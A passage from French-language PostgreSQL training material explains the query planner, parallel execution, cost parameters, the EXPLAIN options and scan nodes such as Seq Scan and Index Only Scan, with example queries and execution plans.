La fonction SQL est intégrée, l’optimiseur voit le critère dans
date_embauche
et peut donc se poser la question de
l’utiliser (et ici, la réponse est oui : 3 blocs contre 4664, tous
présents dans le cache dans cet exemple).
D’où une exécution beaucoup plus rapide.
L’optimiseur doit choisir :
Pour exécuter une requête, le planificateur va utiliser des opérations. Pour lire des lignes, il peut :
Il existe encore d’autres types de parcours. Les accès aux tables et index sont généralement les premières opérations utilisées.
Pour joindre les tables, l’ordre est très important pour essayer de réduire la masse des données manipulées. Les jointures se font toujours entre deux des tables impliquées, pas plus ; ou entre une table et le résultat d’un nœud, ou entre les résultats de deux nœuds.
Pour la jointure elle-même, il existe plusieurs méthodes différentes : boucles imbriquées (Nested Loops), hachage (Hash Join), tri-fusion (Merge Join)…
Il existe également plusieurs algorithmes d’agrégation des lignes. Un
tri peut être nécessaire pour une jointure, une agrégation, ou pour un
ORDER BY
, et là encore il y a plusieurs algorithmes
possibles. L’optimiseur peut aussi décider d’utiliser un index (déjà
trié) pour éviter ce tri.
Certaines des opérations ci-dessus sont parallélisables. Certaines sont aussi susceptibles de consommer beaucoup de mémoire, l’optimiseur doit en tenir compte.
DISTINCT
(v15)Principe :
À partir d’une certaine quantité de données à traiter par un nœud, un ou plusieurs processus auxiliaires (parallel workers) apparaissent pour répartir la charge sur d’autres processeurs. Sans cela, une requête n’est traitée que par un seul processus sur un seul processeur.
Il ne s’agit pas de lire une table avec plusieurs processus mais de
répartir le traitement des lignes. La parallélisation n’est donc utile
que si le CPU est le facteur limitant. Par exemple, un simple
SELECT
sur une grosse table sans WHERE
ne
mènera pas à un parcours parallélisé.
La parallélisation concerne en premier lieu les parcours de tables
(Seq Scan), les jointures (Nested Loop, Hash
Join, Merge Join), ainsi que certaines fonctions d’agrégat
(comme min
, max
, avg
,
sum
, etc.) ; mais encore les parcours d’index B-Tree
(Index Scan, Index Only Scan et Bitmap Scan)
La parallélisation est en principe disponible pour les autres types
d’index, mais ils n’en font pas usage pour l’instant.
La parallélisation ne concerne encore que les opérations en lecture.
Il y a des exceptions, comme la création des index B-Tree de façon
parallélisée. Certaines créations de table avec
CREATE TABLE … AS
, SELECT … INTO
sont aussi
parallélisables, ainsi que CREATE MATERIALIZED VIEW
.
En version 15, il devient possible de paralléliser des clauses
DISTINCT
.
Paramétrage :
Le paramétrage s’est affiné au fil des versions.
Le paramètre max_parallel_workers_per_gather
(2 par
défaut) désigne le nombre de processus auxiliaires maximum d’un nœud
d’une requête. max_parallel_maintenance_workers
(2 par
défaut) est l’équivalent dans les opérations de maintenance
(réindexation notamment). Trop de processus parallèles peuvent mener à
une saturation de CPU ; l’exécuteur de PostgreSQL ne lancera donc pas
plus de max_parallel_workers
processus auxiliaires
simultanés (8 par défaut), lui-même limité par
max_worker_processes
(8 par défaut). En pratique, on
ajustera le nombre de parallel workers en fonction des CPU de
la machine et de la charge attendue.
La mise en place de l’infrastructure de parallélisation a un coût,
défini par parallel_setup_cost
(1000 par défaut), et des
tailles de table ou index minimales, en-dessous desquels la
parallélisation n’est pas envisagée.
La plupart de ces paramètres peuvent être modifiés dans une sessions
par SET
.
Même si cette fonctionnalité évolue au fil des versions majeures, des limitations assez fortes restent présentes, notamment :
INSERT
, UPDATE
,DELETE
,
etc.),ALTER TABLE
ne peut pas être parallélisé)Il y a des cas particuliers, notamment CREATE TABLE AS
ou CREATE MATERIALIZED VIEW
, parallélisable à partir de la
v11 ; ou le niveau d’isolation serializable: avant la v12, il
ne permet aucune parallélisation.
L’optimiseur statistique de PostgreSQL utilise un modèle de calcul de coût. Les coûts calculés sont des indications arbitraires sur la charge nécessaire pour répondre à une requête. Chaque facteur de coût représente une unité de travail : lecture d’un bloc, manipulation des lignes en mémoire, application d’un opérateur sur des données.
SET
Pour quantifier la charge nécessaire pour répondre à une requête, PostgreSQL utilise un mécanisme de coût. Il part du principe que chaque opération a un coût plus ou moins important.
Divers paramètres permettent d’ajuster les coûts relatifs. Ces coûts sont arbitraires, à ne comparer qu’entre eux, et ne sont pas liés directement à des caractéristiques physiques du serveur.
seq_page_cost
(1 par défaut) représente le coût relatif
d’un accès séquentiel à un bloc sur le disque, c’est-à-dire à un bloc lu
en même temps que ses voisins dans la table ;random_page_cost
(4 par défaut) représente le coût
relatif d’un accès aléatoire (isolé) à un bloc : 4 signifie que le temps
d’accès de déplacement de la tête de lecture de façon aléatoire est
estimé 4 fois plus important que le temps d’accès en séquentiel — ce
sera moins avec un bon disque, voire 1 pour un SSD ;cpu_tuple_cost
(0,01 par défaut) représente le coût
relatif de la manipulation d’une ligne en mémoire ;cpu_index_tuple_cost
(0,005 par défaut) répercute le
coût de traitement d’une donnée issue d’un index ;cpu_operator_cost
(défaut 0,0025) indique le coût
d’application d’un opérateur sur une donnée ;parallel_tuple_cost
(0,1 par défaut) indique le coût
estimé du transfert d’une ligne d’un processus à un autre ;parallel_setup_cost
(1000 par défaut) indique le coût
de mise en place d’un parcours parallélisé, une procédure assez lourde
qui ne se rentabilise pas pour les petites requêtes ;jit_above_cost
(100 000 par défaut),
jit_inline_above_cost
(500 000 par défaut),
jit_optimize_above_cost
(500 000 par défaut) représentent
les seuils d’activation de divers niveaux du JIT (Just In Time
ou compilation à la volée des requêtes), outil qui ne se rentabilise que
sur les gros volumes.En général, on ne modifie pas ces paramètres sans justification
sérieuse. Le plus fréquemment, on peut être amené à diminuer
random_page_cost
si le serveur dispose de disques rapides,
d’une carte RAID équipée d’un cache important ou de SSD. Mais en faisant
cela, il faut veiller à ne pas déstabiliser des plans optimaux qui
obtiennent des temps de réponse constants. À trop diminuer
random_page_cost
, on peut obtenir de meilleurs temps de
réponse si les données sont en cache, mais aussi des temps de réponse
dégradés si les données ne sont pas en cache.
Pour des besoins particuliers, ces paramètres sont modifiables dans
une session. Ils peuvent être modifiés dynamiquement par l’application
avec l’ordre SET
pour des requêtes bien particulières, pour
éviter de toucher au paramétrage général.
Un plan d’exécution se lit en partant du nœud se trouvant le plus à droite et en remontant jusqu’au nœud final. Quand le plan contient plusieurs nœuds, le premier nœud exécuté est celui qui se trouve le plus à droite. Celui qui est le plus à gauche (la première ligne) est le dernier nœud exécuté. Tous les nœuds sont exécutés simultanément, et traitent les données dès qu’elles sont transmises par le nœud parent (le ou les nœuds justes en dessous, à droite).
Chaque nœud montre les coûts estimés dans le premier groupe de
parenthèses. cost
est un couple de deux coûts : la première
valeur correspond au coût pour récupérer la première ligne (souvent nul
dans le cas d’un parcours séquentiel) ; la deuxième valeur correspond au
coût pour récupérer toutes les lignes (elle dépend essentiellement de la
taille de la table lue, mais aussi d’opération de filtrage).
rows
correspond au nombre de lignes que le planificateur
pense récupérer à la sortie de ce nœud. width
est la
largeur en octets de la ligne.
Cet exemple simple permet de voir le travail de l’optimiseur :
SET enable_nestloop TO off;
EXPLAIN
SELECT matricule, nom, prenom, nom_service, fonction, localisation
FROM employes emp
JOIN services ser ON (emp.num_service = ser.num_service)
WHERE ser.localisation = 'Nantes';
QUERY PLAN
-------------------------------------------------------------------------
Hash Join (cost=1.06..2.34 rows=4 width=48)
Hash Cond: (emp.num_service = ser.num_service)
-> Seq Scan on employes emp (cost=0.00..1.14 rows=14 width=35)
-> Hash (cost=1.05..1.05 rows=1 width=21)
-> Seq Scan on services ser (cost=0.00..1.05 rows=1 width=21)
Filter: ((localisation)::text = 'Nantes'::text)
Ce plan débute en bas par la lecture de la table
services
. L’optimiseur estime que cette lecture ramènera
une seule ligne (rows=1
), que cette ligne occupera 21
octets en mémoire (width=21
). Il s’agit de la sélectivité
du filtre WHERE localisation = 'Nantes'
. Le coût de départ
de cette lecture est de 0 (cost=0.00
). Le coût total de
cette lecture est de 1,05, qui correspond à la lecture séquentielle d’un
seul bloc (paramètre seq_page_cost
) et à la manipulation
des 4 lignes de la table services
(donc 4 *
cpu_tuple_cost
+ 4 * cpu_operator_cost
). Le
résultat de cette lecture est ensuite haché par le nœud Hash,
qui précède la jointure de type Hash Join.
La jointure peut maintenant commencer, avec le nœud Hash
Join. Il est particulier, car il prend 2 entrées : la donnée hachée
initialement, et les données issues de la lecture d’une seconde table
(peu importe le type d’accès). Le nœud a un coût de démarrage de 1,06,
soit le coût du hachage additionné au coût de manipulation du tuple de
départ. Il s’agit du coût de production du premier tuple de résultat. Le
coût total de production du résultat est de 2,34. La jointure par
hachage démarre réellement lorsque la lecture de la table
employes
commence. Cette lecture remontera 14 lignes, sans
application de filtre. La totalité de la table est donc remontée et elle
est très petite donc tient sur un seul bloc de 8 ko. Le coût d’accès
total est donc facilement déduit à partir de cette information. À partir
des sélectivités précédentes, l’optimiseur estime que la jointure
ramènera 4 lignes au total.
ANALYZE
: exécution (danger !)
BUFFERS
: blocs
read/hit/written/dirtied,
shared/local/tempWAL
: écritures dans les journauxSERIALIZE
: coût de sérialisation (v17)SETTINGS
: paramètrage en coursVERBOSE
: champs manipulés, workersMEMORY
: mémoire consommée par le planificateur
(v17)GENERIC_PLAN
: plan générique (requête préparée,
v16)OFF
:
COSTS
, TIMING
, SUMMARY
(dont
planification)FORMAT
: sortie en texte, XML, JSON, YAMLAu fil des versions, EXPLAIN
a gagné en options. L’une
d’entre elles permet de sélectionner le format en sortie. Toutes les
autres permettent d’obtenir des informations supplémentaires, ou au
contraire de masquer des informations affichées par défaut.
Option ANALYZE
Le but de cette option est d’obtenir les informations sur l’exécution
réelle de la requête. EXPLAIN
sans ANALYZE
renvoie juste le plan prévu.
Cette option n’a rien à voir avec l’ordre
ANALYZE nom_table
, qui met à jour les statistiques !
Avec ANALYZE
, la requête est réellement exécutée !
Attention donc aux
INSERT
/UPDATE
/DELETE
. N’oubliez
pas non plus qu’un SELECT
peut appeler des fonctions qui
écrivent dans la base. Dans le doute, englober l’appel dans une
transaction que vous annulerez après coup.
Voici un exemple utilisant cette option :
QUERY PLAN
---------------------------------------------------------
Seq Scan on employes (cost=0.00..1.18 rows=3 width=43)
(actual time=0.004..0.005 rows=3 loops=1)
Filter: (matricule < 100)
Rows Removed by Filter: 11
Planning time: 0.027 ms
Execution time: 0.013 ms
Quatre nouvelles informations apparaissent, toutes liées à l’exécution réelle de la requête :
actual time
:
rows
est le nombre de lignes réellement
récupérées : comparer au nombre de la première parenthèse permet d’avoir
une idée de la justesse des statistiques et de l’estimation ;loops
est le nombre d’exécutions de ce nœud, car
certains peuvent être répétés de nombreuses fois.Multiplier la durée par le nombre de boucles pour obtenir la durée réelle d’exécution du nœud !
L’intérêt de cette option est donc de trouver l’opération qui prend du temps dans l’exécution de la requête, mais aussi de voir les différences entre les estimations et la réalité (notamment au niveau du nombre de lignes).
Option BUFFERS
Elle indique le nombre de blocs impactés par chaque nœud du plan
d’exécution, en lecture comme en écriture. Cette option n’est en
pratique utilisable qu’avec l’option ANALYZE
. Elle est
désactivée par défaut.
Cette option est à activer systématiquement. La quantité de blocs manipulés par une requête est souvent étonnante.
Voici un exemple de son utilisation :
QUERY PLAN
---------------------------------------------------------
Seq Scan on employes (cost=0.00..1.18 rows=3 width=43)
(actual time=0.002..0.004 rows=3 loops=1)
Filter: (matricule < 100)
Rows Removed by Filter: 11
Buffers: shared hit=1
Planning time: 0.024 ms
Execution time: 0.011 ms
La nouvelle ligne est la ligne Buffers
.
shared hit
indique un accès à une table ou index dans les
shared buffers de PostgreSQL. Ces autres indications peuvent se
rencontrer :
Informations | Type d’objet concerné | Explications |
---|---|---|
Shared hit | Table ou index permanent | Lecture d’un bloc dans le cache |
Shared read | Table ou index permanent | Lecture d’un bloc hors du cache |
Shared written | Table ou index permanent | Écriture d’un bloc |
Local hit | Table ou index temporaire | Lecture d’un bloc dans le cache |
Local read | Table ou index temporaire | Lecture d’un bloc hors du cache |
Local written | Table ou index temporaire | Écriture d’un bloc |
Temp read | Tris et hachages | Lecture d’un bloc |
Temp written | Tris et hachages | Écriture d’un bloc |
EXPLAIN (BUFFERS)
peut fonctionner sans
ANALYZE
, mais n’affiche alors que les blocs consommés par
la seule planification. C’est surtout intéressant pour mettre en
évidence le coût d’une première planification, avec le chargement des
tables de statistique et l’effet de cache dans la session par exemple.
Cet exemple est extrême (10 000 partitions avec leurs statistiques à
consulter) :
QUERY PLAN
------------------------------------------
Append
-> Seq Scan on pgbench_accounts_1
Filter: (bid = 1)
-> Seq Scan on pgbench_accounts_2
Filter: (bid = 1)
…
…
-> Seq Scan on pgbench_accounts_9998
Filter: (bid = 1)
-> Seq Scan on pgbench_accounts_9999
Filter: (bid = 1)
-> Seq Scan on pgbench_accounts_10000
Filter: (bid = 1)
Planning:
Buffers: shared hit=431473
Temps : 876,843 ms
Option SETTINGS
Désactivée par défaut, cette option affiche les valeurs des paramètres qui ne sont pas à la valeur par défaut dans la session de la requête. Il est conseillé de l’activer, surtout pour communiquer le plan à des personnes extérieures, ou pour comparer l’effet de différents paramétrages.
QUERY PLAN
-------------------------------------------------------------------------------
Index Scan using employes_big_pkey on employes_big (cost=0.42..8.44 rows=1 width=41)
Index Cond: (matricule = 33)
QUERY PLAN
--------------------------------------------------------------------------------
Bitmap Heap Scan on employes_big (cost=4.43..8.44 rows=1 width=41)
Recheck Cond: (matricule = 33)
-> Bitmap Index Scan on employes_big_pkey (cost=0.00..4.43 rows=1 width=0)
Index Cond: (matricule = 33)
Settings: enable_indexscan = 'off'
Option WAL
Cette option permet d’obtenir le nombre d’enregistrements et le
nombre d’octets écrits dans les journaux de transactions. Elle est
désactivée par défaut, et là encore il est conseillé de l’activer au
moindre doute, et pas juste lors des écritures. Même un
SELECT
peut générer des journaux (maintenance des hint
bits, appel de fonctions…).
CREATE TABLE t1 (id integer);
EXPLAIN (ANALYZE, WAL) INSERT INTO t1 SELECT generate_series(1, 1000) ;
QUERY PLAN
-------------------------------------------------------------
Insert on t1 (cost=0.00..15.02 rows=1000 width=12)
(actual time=1.457..1.458 rows=0 loops=1)
WAL: records=2009 bytes=123824
-> Subquery Scan on "*SELECT*"
(cost=0.00..15.02 rows=1000 width=12)
(actual time=0.003..0.146 rows=1000 loops=1)
-> ProjectSet (cost=0.00..5.02 rows=1000 width=4)
(actual time=0.002..0.068 rows=1000 loops=1)
-> Result (cost=0.00..0.01 rows=1 width=0)
(actual time=0.001..0.001 rows=1 loops=1)
Planning Time: 0.033 ms
Execution Time: 1.479 ms
Option SERIALIZE
À partir de PostgreSQL 17, il est conseillé d’activer cette option
lors d’un EXPLAIN (ANALYZE)
. Elle force la lecture des
données et leur conversion en texte ou binaire (« sérialisation »),
comme le fait une exécution normale. Un EXPLAIN (ANALYZE)
sans cette option ne lit pas forcément toutes les données, ne les
convertit pas, et peut donc afficher un temps inférieur à la réalité en
production. Cet exemple simple montre bien la différence en temps et
volumétrie :
QUERY PLAN
-------------------------------------------------------------
Seq Scan on employes_big (cost=0.00..9654.15 rows=499015 width=41) (actual time=0.013..21.489 rows=499015 loops=1)
Buffers: shared hit=4664
Planning Time: 0.069 ms
Execution Time: 34.783 ms
QUERY PLAN
-------------------------------------------------------------
Seq Scan on employes_big (cost=0.00..9654.15 rows=499015 width=41) (actual time=0.013..17.622 rows=499015 loops=1)
Buffers: shared hit=4664
Planning Time: 0.047 ms
Serialization: time=104.727 ms output=34982kB format=text
Execution Time: 142.996 ms
Cet autre exemple met en évidence le gain en temps et volume si l’on
n’a besoin que d’un seul champ, par rapport au SELECT *
qui
ramène tout (une mauvaise pratique) :
QUERY PLAN
-------------------------------------------------------------
Seq Scan on employes_big (cost=0.00..9654.15 rows=499015 width=4) (actual time=0.015..24.392 rows=499015 loops=1)
Buffers: shared hit=4664
Planning Time: 0.079 ms
Serialization: time=27.199 ms output=5743kB format=text
Execution Time: 73.697 ms
Le temps perdu peut être encore plus important si une table TOAST est inutilement lue.
Le temps supplémentaire perdu lors d’un transfert sur le réseau n’est hélas pas pris en compte, puisque l’ordre s’éxécute intégralement sur le serveur.
Option MEMORY
À partir de PostgreSQL 17, le planificateur peut afficher la mémoire qu’il consomme le temps de la planification, pour chaque requête. En général, il ne s’agira que de quelques kilo-octets. Ce peut être beaucoup plus haut, par exemple avec de nombreuses partitions :
QUERY PLAN
-------------------------------------------------------------------------------
Append (cost=0.00..35000.00 rows=1000000 width=97)
-> Seq Scan on pgbench_accounts_1 (cost=0.00..3.00 rows=100 width=97)
…
…
-> Seq Scan on pgbench_accounts_10000 (cost=0.00..3.00 rows=100 width=97)
Planning:
Memory: used=80587kB allocated=84769kB
Option GENERIC_PLAN
Cette option (à partir de PostgreSQL 16) sert quand on cherche le plan générique planifié pour une requête préparée (c’est-à-dire dont les paramètres seront fournis séparément).
QUERY PLAN
-----------------------------------------------------------------------
Index Scan using t1_c1_idx on t1 (cost=0.15..14.98 rows=333 width=8)
Index Cond: (c1 < $1)
Planning Time: 0.195 ms
Option COSTS
Activée par défaut, l’option COSTS
indique les
estimations du planificateur. La désactiver avec OFF
permet
de gagner en lisibilité.
QUERY PLAN
---------------------------------------------------------
Seq Scan on employes (cost=0.00..1.18 rows=3 width=43)
Filter: (matricule < 100)
Option TIMING
Cette option n’est utilisable qu’avec l’option ANALYZE
et est activée par défaut. Elle ajoute les informations sur les durées
en milliseconde. Sa désactivation peut être utile sur certains systèmes
où le chronométrage prend beaucoup de temps et allonge inutilement la
durée d’exécution de la requête. Voici un exemple :
QUERY PLAN
---------------------------------------------------------
Seq Scan on employes (cost=0.00..1.18 rows=3 width=43)
(actual time=0.003..0.004 rows=3 loops=1)
Filter: (matricule < 100)
Rows Removed by Filter: 11
Planning time: 0.022 ms
Execution time: 0.010 ms
QUERY PLAN
---------------------------------------------------------
Seq Scan on employes (cost=0.00..1.18 rows=3 width=43)
(actual rows=3 loops=1)
Filter: (matricule < 100)
Rows Removed by Filter: 11
Planning time: 0.025 ms
Execution time: 0.010 ms
Option VERBOSE
L’option VERBOSE
permet d’afficher des informations
supplémentaires comme la liste des colonnes en sortie, le nom de la
table qualifié du nom du schéma, le nom de la fonction qualifié du nom
du schéma, le nom du déclencheur (trigger), le détail des temps de
chaque worker parallèle, le SQL envoyé à une table distante,
etc. Elle est désactivée par défaut. Il vaut mieux l’activer autant que
possible si un affichage chargé n’est pas un souci.
QUERY PLAN
---------------------------------------------------------------------
Seq Scan on public.employes (cost=0.00..1.18 rows=3 width=43)
Output: matricule, nom, prenom, fonction, manager, date_embauche,
num_service
Filter: (employes.matricule < 100)
On voit dans cet exemple le nom du schéma ajouté au nom de la table,
et la nouvelle section Output
indique la liste des colonnes
en sortie du nœud.
Option SUMMARY
Cette option permet d’afficher ou non le résumé final indiquant la
durée de la planification et de l’exécution. Par défaut, un
EXPLAIN
simple n’affiche pas le résumé, mais un
EXPLAIN ANALYZE
le fait.
QUERY PLAN
----------------------------------------------------------
Seq Scan on employes (cost=0.00..1.14 rows=14 width=43)
QUERY PLAN
----------------------------------------------------------
Seq Scan on employes (cost=0.00..1.14 rows=14 width=43)
Planning time: 0.014 ms
QUERY PLAN
----------------------------------------------------------
Seq Scan on employes (cost=0.00..1.14 rows=14 width=43)
(actual time=0.002..0.003 rows=14 loops=1)
Planning time: 0.013 ms
Execution time: 0.009 ms
QUERY PLAN
----------------------------------------------------------
Seq Scan on employes (cost=0.00..1.14 rows=14 width=43)
(actual time=0.002..0.003 rows=14 loops=1)
Option FORMAT
Par défaut, la sortie est sous forme d’un texte destiné à être lu par
un humain, mais il est possible de choisir un format balisé parmi XML,
JSON et YAML. Voici ce que donne la commande EXPLAIN
avec
le format XML :
QUERY PLAN
----------------------------------------------------------
<explain xmlns="http://www.postgresql.org/2009/explain">+
<Query> +
<Plan> +
<Node-Type>Seq Scan</Node-Type> +
<Parallel-Aware>false</Parallel-Aware> +
<Relation-Name>employes</Relation-Name> +
<Alias>employes</Alias> +
<Startup-Cost>0.00</Startup-Cost> +
<Total-Cost>1.18</Total-Cost> +
<Plan-Rows>3</Plan-Rows> +
<Plan-Width>43</Plan-Width> +
<Filter>(matricule < 100)</Filter> +
</Plan> +
</Query> +
</explain>
(1 row)
Les signes +
en fin de ligne indiquent un retour à la
ligne lors de l’utilisation de l’outil psql
. Il est
possible de ne pas les afficher en configurant l’option
format
de psql
à unaligned
. Cela
se fait ainsi :
Ces formats semi-structurés sont utilisés principalement par des outils, car le contenu est plus facile à analyser, voire un peu plus complet.
Quelles options utiliser ?
Avec EXPLAIN (ANALYZE)
, n’hésitez pas à utiliser
systématiquement BUFFERS
, SETTINGS
,
SERIALIZE
et WAL
. VERBOSE
peut
surcharger l’affichage, mais est conseillé avec des outils externes
comme explain.dalibo.com. Les
autres options sont plus ciblées.
Afin de comparer les différents plans d’exécution possibles pour une requête et choisir le meilleur, l’optimiseur a besoin d’estimer un coût pour chaque nœud du plan.
L’estimation la plus cruciale est celle liée aux nœuds de parcours de données, car c’est d’eux que découlera la suite du plan. Pour estimer le coût de ces nœuds, l’optimiseur s’appuie sur les informations statistiques collectées, ainsi que sur la valeur de paramètres de configuration.
Les deux notions principales de ce calcul sont la cardinalité (nombre de lignes estimées en sortie d’un nœud) et la sélectivité (fraction des lignes conservées après l’application d’un filtre).
Voici ci-dessous un exemple de calcul de cardinalité et de détermination du coût associé.
Calcul de cardinalité
Pour chaque prédicat et chaque jointure, PostgreSQL va calculer sa sélectivité et sa cardinalité. Pour un prédicat, cela permet de déterminer le nombre de lignes retournées par le prédicat par rapport au nombre total de lignes de la table. Pour une jointure, cela permet de déterminer le nombre de lignes retournées par la jointure entre deux tables.
L’optimiseur dispose de plusieurs façons de calculer la cardinalité
d’un filtre ou d’une jointure selon que la valeur recherchée est une
valeur unique, que la valeur se trouve dans le tableau des valeurs les
plus fréquentes ou dans l’histogramme. Cherchons comment calculer la
cardinalité d’un filtre simple sur une table employes
de 14
lignes, par exemple WHERE num_service = 1
.
Ici, la valeur recherchée se trouve directement dans le tableau des
valeurs les plus fréquentes (dans les champs
most_common_vals
et most_common_freqs
) la
cardinalité peut être calculée directement.
-[ RECORD 1 ]----------+---------------------------------------------
schemaname | public
tablename | employes
attname | num_service
inherited | f
null_frac | 0
avg_width | 4
n_distinct | -0.2857143
most_common_vals | {4,3,2,1}
most_common_freqs | {0.35714287,0.2857143,0.21428572,0.14285715}
histogram_bounds | ¤
correlation | 0.10769231
…
La requête suivante permet de récupérer la fréquence d’apparition de la valeur recherchée :
SELECT tablename, attname, value, freq
FROM (SELECT tablename, attname, mcv.value, mcv.freq FROM pg_stats,
LATERAL ROWS FROM (unnest(most_common_vals::text::int[]),
unnest(most_common_freqs)) AS mcv(value, freq)
WHERE tablename = 'employes'
AND attname = 'num_service') get_mcv
WHERE value = 1;
tablename | attname | value | freq
-----------+-------------+-------+----------
employes | num_service | 1 | 0.142857
Si l’on n’avait pas eu affaire à une des valeurs les plus fréquentes,
il aurait fallu passer par l’histogramme des valeurs
(histogram_bounds
, ici vide car il y a trop peu de
valeurs), pour calculer d’abord la sélectivité du filtre pour en déduire
ensuite la cardinalité.
Une fois cette fréquence obtenue, l’optimiseur calcule la cardinalité
du prédicat WHERE num_service = 1
en la multipliant avec le
nombre total de lignes de la table :
Le calcul est cohérent avec le plan d’exécution de la requête
impliquant la lecture de employes
sur laquelle on applique
le prédicat évoqué plus haut :
QUERY PLAN
---------------------------------------------------------
Seq Scan on employes (cost=0.00..1.18 rows=2 width=43)
Filter: (num_service = 1)
Calcul de coût
Notre table employes
peuplée de 14 lignes va permettre
de montrer le calcul des coûts réalisés par l’optimiseur. L’exemple
présenté ci-dessous est simplifié. En réalité, les calculs sont plus
complexes, car ils tiennent également compte de la volumétrie réelle de
la table.
Le coût de la lecture séquentielle de la table employes
est calculé à partir de deux composantes. Tout d’abord, le nombre de
pages (ou blocs) de la table permet de déduire le nombre de blocs à
accéder pour lire la table intégralement. Le paramètre
seq_page_cost
(coût d’accès à un bloc dans un parcours
complet) sera appliqué ensuite pour obtenir le coût de l’opération :
SELECT relname, relpages * current_setting('seq_page_cost')::float AS cout_acces
FROM pg_class
WHERE relname = 'employes';
Cependant, le coût d’accès seul ne représente pas le coût de la
lecture des données. Une fois que le bloc est monté en mémoire,
PostgreSQL doit décoder chaque ligne individuellement. L’optimiseur
multiplie donc par cpu_tuple_cost
(0,01 par défaut) pour
estimer le coût de manipulation des lignes :
SELECT relname,
relpages * current_setting('seq_page_cost')::float
+ reltuples * current_setting('cpu_tuple_cost')::float AS cout
FROM pg_class
WHERE relname = 'employes';
Le calcul est bon :
QUERY PLAN
----------------------------------------------------------
Seq Scan on employes (cost=0.00..1.14 rows=14 width=43)
Avec un filtre dans la requête, les traitements seront plus lourds.
Par exemple, en ajoutant le prédicat
WHERE date_embauche='2006-01-01'
, il faut non seulement
extraire les lignes les unes après les autres, mais également appliquer
l’opérateur de comparaison utilisé. L’optimiseur utilise le paramètre
cpu_operator_cost
pour déterminer le coût d’application
d’un filtre :
SELECT relname,
relpages * current_setting('seq_page_cost')::float
+ reltuples * current_setting('cpu_tuple_cost')::float
+ reltuples * current_setting('cpu_operator_cost')::float AS cost
FROM pg_class
WHERE relname = 'employes';
Ce nombre se retrouve dans le plan, à l’arrondi près :
QUERY PLAN
---------------------------------------------------------
Seq Scan on employes (cost=0.00..1.18 rows=2 width=43)
Filter: (date_embauche = '2006-01-01'::date)
Pour aller plus loin dans le calcul de sélectivité, de cardinalité et de coût, la documentation de PostgreSQL contient un exemple complet de calcul de sélectivité et indique les références des fichiers sources dans lesquels fouiller pour en savoir plus.
Les plans sont extrêmement sensibles aux données elles-mêmes bien
sûr, aux paramètres, aux tailles réelles des objets, à la version de
PostgreSQL, à l’ordre des données dans la table, voire au moment du
passage d’un VACUUM
. Il n’est donc pas étonnant de trouver
parfois des plans différents de ceux reproduits ici pour une même
requête.
Par parcours, on entend le renvoi d’un ensemble de lignes provenant soit d’un fichier, soit d’un traitement. Le fichier peut correspondre à une table ou à une vue matérialisée, et on parle dans ces deux cas d’un parcours de table. Le fichier peut aussi correspondre à un index, auquel cas on parle de parcours d’index. Un parcours peut être un traitement dans différents cas, principalement celui d’une procédure stockée.
Seq Scan :
Les parcours de tables sont les principales opérations qui lisent les données des tables (normales, temporaires ou non journalisées) et des vues matérialisées. Elles ne prennent donc pas d’autre nœud en entrée et fournissent un ensemble de données en sortie. Cet ensemble peut être trié ou non, filtré ou non.
L’opération Seq Scan correspond à une lecture séquentielle d’une table, aussi appelée Full table scan sur d’autres SGBD. Il consiste à lire l’intégralité de la table, du premier bloc au dernier bloc. Une clause de filtrage peut être appliquée.
Ce nœud apparaît lorsque la requête nécessite de lire l’intégralité ou la majorité de la table :
QUERY PLAN
----------------------------------------------------------
Seq Scan on employes (cost=0.00..1.14 rows=14 width=43)
Ce nœud peut également filtrer directement les données, la présence de la clause Filter montre le filtre appliqué par le nœud à la lecture des données :
seq_page_cost
(défaut : 1)cpu_tuple_cost
&
cpu_operator_cost
enable_seqscan
parallel_tuple_cost
,
min_parallel_table_scan_size
Seq Scan :
Le coût d’un Seq Scan sera fonction du nombre de blocs à
parcourir, et donc du paramètre seq_page_cost
, ainsi que du
nombre de lignes à décoder et, optionnellement, à filtrer. La valeur de
seq_page_cost
, par défaut à 1, est rarement modifiée ; elle
est surtout importante comparée à random_page_cost
.
Parallel Seq Scan :
Il est possible d’avoir un parcours parallélisé d’une table (Parallel Seq Scan). La parallélisation doit être activée comme décrit plus haut, notamment :
max_parallel_workers_per_gather
et
max_parallel_workers
doivent être tous deux supérieurs à 0,
ce qui est le cas par défaut ;min_parallel_table_scan_size
est à 8 Mo) ; et plus elle
sera grosse plus il y aura de workers ;Pour que ce type de parcours soit valable, il faut que l’optimiseur
soit persuadé que le problème sera le temps CPU et non la bande passante
disque. Il y a cependant un coût pour chaque ligne (paramètre
parallel_tuple_cost
). Autrement dit, dans la majorité des
cas, il faut un filtre sur une table importante pour que la
parallélisation se déclenche.
Dans les exemples suivants, la parallélisation est activée :
QUERY PLAN
-------------------------------------------------------------------------------
Gather (cost=1000.00..8263.14 rows=1 width=41)
Workers Planned: 2
-> Parallel Seq Scan on employes_big (cost=0.00..7263.04 rows=1 width=41)
Filter: (num_service <> 4)
Ici, deux processus supplémentaires seront exécutés pour réaliser la requête. Dans le cas de ce type de parcours, chaque processus prend un bloc et traite toutes les lignes de ce bloc. Quand un processus a terminé de traiter son bloc, il regarde quel est le prochain bloc à traiter et le traite. (À partir de la version 14, il prend même un groupe de blocs pour profiter de la fonctionnalité de read ahead du noyau.)
PostgreSQL dispose de trois moyens d’accéder aux données à travers les index. Le plus connu est l’Index Scan, qui possède plusieurs variantes.
Le nœud Index Scan consiste à parcourir les blocs d’index jusqu’à trouver les pointeurs vers les blocs contenant les données. À chaque pointeur trouvé, PostgreSQL lit le bloc de la table pointée pour retrouver l’enregistrement et s’assurer notamment de sa visibilité pour la transaction en cours. De ce fait, il y a beaucoup d’accès non séquentiels pour lire l’index et la table.
QUERY PLAN
----------------------------------------------------
Index Scan using employes_big_pkey on employes_big
(cost=0.42..8.44 rows=1 width=41)
Index Cond: (matricule = 132)
Ce type de nœud ne permet pas d’extraire directement les données à retourner depuis l’index, sans passer par la lecture des blocs correspondants de la table.
VACUUM
récent
Utilité :
Le nœud Index Only Scan est une version plus performante de l’Index Scan. Il est choisi si toutes les colonnes de la table concernées par la requête font partie de l’index :
QUERY PLAN
---------------------------------------------------------
Index Only Scan using employes_big_pkey on employes_big (actual time=0.019..8.195 rows=99014 loops=1)
Index Cond: (matricule < 100000)
Heap Fetches: 0
Buffers: shared hit=274
Planning:
Buffers: shared hit=1
Planning Time: 0.083 ms
Execution Time: 11.123 ms
Il n’y a donc plus besoin d’accéder à la table et l’on économise de nombreux accès disque. C’est d’autant plus appréciable que les lignes sont nombreuses.
Par contre, si l’on ajoute le champ nom
dans la requête,
l’optimiseur se rabat sur un Index Scan. En effet,
nom
ne peut être lu que dans la table puisqu’il ne fait pas
